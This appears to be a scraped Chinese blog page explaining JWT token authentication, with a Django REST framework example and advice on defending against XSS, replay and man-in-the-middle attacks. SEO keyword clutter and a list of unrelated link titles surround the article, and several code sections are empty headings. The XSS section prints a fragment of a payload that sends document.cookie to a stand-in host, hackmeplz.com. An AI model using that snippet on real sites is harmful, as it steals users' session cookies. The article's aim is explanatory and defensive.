当前位置: 首页 > news >正文

九江有没有做网站的公司郑州小程序开发外包

九江有没有做网站的公司,郑州小程序开发外包,wordpress标签不显示,网络项目发布网一步一步教你基于JWT的Token认证机制实现#xff0c;以及如何防范XSS攻击、Replay攻击和中间人攻击。文章目录一、几种常用的认证机制1.1 HTTP Basic AuthHTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password#xff0c;简言之#xff0c;Basic Auth…一步一步教你基于JWT的Token认证机制实现以及如何防范XSS攻击、Replay攻击和中间人攻击。文章目录一、几种常用的认证机制1.1 HTTP Basic AuthHTTP Basic Auth简单点说明就是每次请求API时都提供用户的username和password简言之Basic Auth是配合RESTful API 使用的最简单的认证方式只需提供用户名密码即可但由于有把用户名密码暴露给第三方客户端的风险在生产环境下被使用的越来越少。因此在开发对外开放的RESTful API时尽量避免采用HTTP Basic Auth。1.2 OAuthOAuth(开放授权)是一个开放的授权标准允许用户让第三方应用访问该用户在某一web服务上存储的私密的资源(如照片视频联系人列表)而无需将用户名和密码提供给第三方应用。OAuth允许用户提供一个令牌而不是用户名和密码来访问他们存放在特定服务提供者的数据。每一个令牌授权一个特定的第三方系统(例如视频编辑网站)在特定的时段(例如接下来的2小时内)内访问特定的资源(例如仅仅是某一相册中的视频)。这样OAuth让用户可以授权第三方网站访问他们存储在另外服务提供者的某些特定信息而非所有内容下面是OAuth2.0的流程这种基于OAuth的认证机制适用于个人消费者类的互联网产品如社交类APP等应用但是不太适合拥有自有认证权限管理的企业应用1.3 Cookie AuthCookie认证机制就是为一次请求认证在服务端创建一个Session对象同时在客户端的浏览器端创建了一个Cookie对象通过客户端带上来Cookie对象来与服务器端的session对象匹配来实现状态管理的。默认的当我们关闭浏览器的时候cookie会被删除。但可以通过修改cookie 的expire time使cookie在一定时间内有效1.4 Token Auth1.4.1 Token Auth的优点Token机制相对于Cookie机制又有什么好处呢支持跨域访问 Cookie是不允许垮域访问的这一点对Token机制是不存在的前提是传输的用户认证信息通过HTTP头传输。无状态(也称服务端可扩展行)Token机制在服务端不需要存储session信息因为Token 自身包含了所有登录用户的信息只需要在客户端的cookie或本地介质存储状态信息。更适用CDN 可以通过内容分发网络请求你服务端的所有资料(如javascriptHTML,图片等)而你的服务端只要提供API即可。去耦 不需要绑定到一个特定的身份验证方案。Token可以在任何地方生成只要在你的API被调用的时候你可以进行Token生成调用即可。更适用于移动应用 当你的客户端是一个原生平台(iOS, AndroidWindows 8等)时Cookie是不被支持的(你需要通过Cookie容器进行处理)这时采用Token认证机制就会简单得多。CSRF因为不再依赖于Cookie所以你就不需要考虑对CSRF(跨站请求伪造)的防范。性能 一次网络往返时间(通过数据库查询session信息)总比做一次HMACSHA256计算 的Token验证和解析要费时得多。不需要为登录页面做特殊处理 如果你使用Protractor 做功能测试的时候不再需要为登录页面做特殊处理。基于标准化你的API可以采用标准化的 JSON Web Token (JWT)。这个标准已经存在多个后端库(.NET, Ruby, Java,Python, PHP)和多家公司的支持(如Firebase,Google, Microsoft)。二、基于JWT的Token认证机制实现JSON Web Token(JWT)是一个非常轻巧的规范。这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。2.1 JWT的组成一个JWT实际上就是一个字符串它由三部分组成头部、载荷与签名。形式为A.B.C2.1.1 头部(Header)JWT需要一个头部头部用于描述关于该JWT的最基本的信息例如其类型以及签名所用的算法等。这也可以被表示成一个JSON对象。{“typ”: “JWT”,”alg”: “HS256”}在头部指明了签名算法是HS256算法。当然头部也要进行BASE64编码编码后的字符串如下eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ92.1.2 载荷(Payload){ “iss”: “Online JWT Builder”,   “iat”: 1416797419,   “exp”: 1448333419,   “aud”: “www.example.com”,   “sub”: “jrocketexample.com”,   “GivenName”: “Johnny”,   “Surname”: “Rocket”,   “Email”: “jrocketexample.com”,   “Role”: [ “Manager”, “Project Administrator” ] }iss 该JWT的签发者是否使用是可选的sub 该JWT所面向的用户是否使用是可选的aud 接收该JWT的一方是否使用是可选的exp(expires) 什么时候过期这里是一个Unix时间戳是否使用是可选的iat(issued at) 在什么时候签发的(UNIX时间)是否使用是可选的其他还有nbf (Not Before)如果当前时间在nbf里的时间之前则Token不被接受一般都会留一些余地比如几分钟是否使用是可选的将上面的JSON对象进行[base64编码]可以得到下面的字符串。这个字符串我们将它称作JWT的Payload(载荷)。eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9一个最基本最简单最常用的payload为{“user_id” 123456, #用户id表明用户“iat” 1356999524, #token发布时间“exp” 1556999524, #token过期时间}2.1.3 签名(Signature)将上面的两个编码后的字符串都用句号.连接在一起(头部在前)就形成了eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0最后我们将上面拼接完的字符串用HS256算法进行加密。在加密的时候我们还需要提供一个密钥(secret)。如果我们用mystar作为密钥的话那么就可以得到我们加密后的内容rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM最后将这一部分签名也拼接在被签名的字符串后面我们就得到了完整的JWTeyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM在我们的请求URL中会带上这串JWT字符串https://your.awesome-app.com/make-friend/?jwteyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM也可以在http头中加Authorization头或在cookie带上2.2 认证过程下面我们从一个实例来看如何运用JWT机制实现认证2.2.1 登录第一次认证第一次登录用户从浏览器输入用户名/密码提交后到服务器的登录处理的Action层(Login Action)Login Action调用认证服务进行用户名密码认证如果认证通过Login Action层调用用户信息服务获取用户信息(包括完整的用户信息及对应权限信息)返回用户信息后Login Action从配置文件中获取Token签名生成的秘钥信息进行Token的生成生成Token的过程中可以调用第三方的JWT Lib生成签名后的JWT数据完成JWT数据签名后将其设置到COOKIE对象中并重定向到首页完成登录过程2.2.2 请求认证基于Token的认证机制会在每一次请求中都带上完成签名的Token信息这个Token信息可能在COOKIE中也可能在HTTP的Authorization头中客户端(APP客户端或浏览器)通过GET或POST请求访问资源(页面或调用API)认证服务作为一个Middleware HOOK 对请求进行拦截首先在cookie中查找Token信息如果没有找到则在HTTP Authorization Head中查找如果找到Token信息则根据配置文件中的签名加密秘钥调用JWT Lib对Token信息进行解密和解码完成解码并验证签名通过后对Token中的exp、nbf、aud等信息进行验证全部通过后根据获取的用户的角色权限信息进行对请求的资源的权限逻辑判断如果权限逻辑判断通过则通过Response对象返回否则则返回HTTP 4012.3 对Token认证的五点认识对Token认证机制有5点直接注意的地方一个Token就是一些信息的集合在Token中包含足够多的信息以便在后续请求中减少查询数据库的几率服务端需要对cookie和HTTP Authrorization Header进行Token信息的检查基于上一点你可以用一套token认证代码来面对浏览器类客户端和非浏览器类客户端因为token是被签名的所以我们可以认为一个可以解码认证通过的token是由我们系统发放的其中带的信息是合法有效的三、JWT的Django REST framework实现3.1 前置条件Python (2.7, 3.3, 3.4, 3.5)Django (1.8, 1.9, 1.10)Django REST Framework (3.0, 3.1, 3.2, 3.3, 3.4, 3.5)3.2 下载安装pip install djangorestframework-jwt3.3 实例解析3.3.1 settings.py3.3.2 urls.py3.3.3 views.py3.3.4 请求与返回结果3.3.4.1 登录请求curl -X POST -d “usernameadminpasswordpassword123” http://localhost:8000/login/返回{“status”:”authentication successfully.”,”token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}3.3.4.2 获取token请求$ curl -X POST -d “usernameadminpasswordpassword123” http://localhost:8000/api-token-auth/或$ curl -X POST -H “Content-Type: application/json” -d ‘{“username”:”admin”,”password”:”password123″}’ http://localhost:8000/api-token-auth/返回{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU2OTIsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTI5MiwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.XJ5xYY0xeb3TDqGMBRPGdU3s_UBn7SWcJIR2emLB0j0″}3.3.4.3刷新token请求$ curl -X POST -H “Content-Type: application/json” -d ‘{“token”:””}’ http://localhost:8000/api-token-refresh/curl -X POST -H “Content-Type: application/json” -d ‘{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}’ http://localhost:8000/api-token-refresh/返回{“token”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTM3MCwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.MyhFTXbGBmuh3APQjbeZbRM4e64VN1MvcfumfNSXuOg”}3.3.4.4 验证token请求$ curl -X POST -H “Content-Type: application/json” -d ‘{“token”:””}’ http://localhost:8000/api-token-verify/返回{“token”:”. . . .”}3.3.4.5 访问受保护的urls请求$ curl -H “Authorization: JWT ” http://localhost:8000/protected-url/curl -H “Authorization: TOKEN eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA” http://localhost:8000/example/返回{“user”:”admin”,”auth”:”eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwib3JpZ19pYXQiOjE0OTkzOTU0MDUsImlzcyI6Imh0dHBzOi8vcG9tYS5uc2ZvY3VzLmNvbSIsImV4cCI6MTQ5OTM5OTAwNSwidXNlcl9pZCI6NCwiZW1haWwiOiJwb21hQG5zZm9jdXMuY29tIn0.l6QPg6iUpXXiJ0II7RqYiRunRXu10SikdU8IjirDDqA”}3.4 源码3.4.1 获取token3.4.2 验证token3.4.3 刷新token四、基于JWT的Token认证的安全问题4.1 确保验证过程的安全性如何保证用户名/密码验证过程的安全性因为在验证过程中需要用户输入用户名和密码在这一过程中用户名、密码等敏感信息需要在网络中传输。因此在这个过程中建议采用HTTPS通过SSL加密传输以确保通道的安全性。4.2 如何防范XSS Attacks浏览器可以做很多事情这也给浏览器端的安全带来很多隐患最常见的如XSS攻击跨站脚本攻击(Cross Site Scripting)如果有个页面的输入框中允许输入任何信息且没有做防范措施如果我们输入下面这段代码 a.src’https://hackmeplz.com/yourCookies.png/?cookies’document.cookie;return a}())”这段代码会盗取你域中的所有cookie信息并发送到 hackmeplz.com那么我们如何来防范这种攻击呢XSS攻击代码过滤移除任何会导致浏览器做非预期执行的代码这个可以采用一些库来实现如果你是将用户提交的字符串存储到数据库的话(也针对SQL注入攻击)你需要在前端和服务端分别做过滤采用HTTP-Only Cookies通过设置Cookie的参数HttpOnlySecure 来防止通过JavaScript 来访问Cookie4.3 如何防范Replay Attacks所谓重放攻击就是攻击者发送一个目的主机已接收过的包来达到欺骗系统的目的主要用于身份认证过程。比如在浏览器端通过用户名/密码验证获得签名的Token被木马窃取。即使用户登出了系统黑客还是可以利用窃取的Token模拟正常请求而服务器端对此完全不知道以为JWT机制是无状态的。几种常用做仅供参考缩短token的有效时间限制token的使用次数 (如果这样需要记录已生成的token)4.4 如何防范MITM (Man-In-The-Middle)Attacks所谓MITM攻击就是在客户端和服务器端的交互过程被监听比如像可以上网的咖啡馆的WIFI被监听或者被黑的代理服务器等针对这类攻击的办法使用HTTPS包括针对分布式应用在服务间传输像cookie这类敏感信息时也采用HTTPS。五、参考
http://www.sadfv.cn/news/138139/

相关文章:

  • 环保推广哪个网站好wordpress去除tag
  • 复旦学霸张立勇做的有关寺庙网站个人兼职做网站
  • 网站 建设 欢迎你wordpress 自定义产品页面
  • 电子商务网站建设的核心甘肃中高风险地区
  • 做网站建设公司crm在线的提升服务wordpress修改数据库前缀
  • 网站被人恶意刷流量深圳网站建设系统
  • 网站浏览器不兼容怎么办推广赚钱网
  • 百度官网网站下城网站建设
  • 网站运营推广方法总结如何建设国际网站
  • wordpress本地更换为网站域名天津企业网站建站模板
  • 民宿网站建设问卷调查做的好的宠物食品网站
  • 游戏自助充值网站怎么做优化方案生物必修一
  • 网站建设如何选择良好的服务器定制网站+域名+企业邮箱
  • 沈阳市网站建设企业做网站算经商吗
  • 有什么知名网站是用织梦做的做母婴网站
  • 一家企业如何做网站推广电气工程专业毕业设计代做网站
  • 国内外创意网站欣赏用html制作个人网站
  • 秀屿网站建设网站文章图片如何跳转
  • 网站建设需求说明文本资料分享网站 建设
  • 个人单页网站微信 绑定网站
  • 合肥网站快速排名优化海南省建设网站的公司电话号码
  • iis网站配置 无法浏览网站后台用什么
  • 个性个人网站模板最近韩国电影片免费观看
  • 我的世界怎么做充值点卷网站云服务器防御
  • iis添加网站主机名网站备案 域名过期
  • 哪个网站可以做思维导图长沙旅游攻略景点必去长沙美食街
  • 免费行情网站大全搜狐网自己做网站需要下载什么软件
  • o2o网站建设已经建网站做外贸
  • 手机网站版面设计wordpress熊掌号主题
  • 做一个手机网站成本惠州顺德网站建设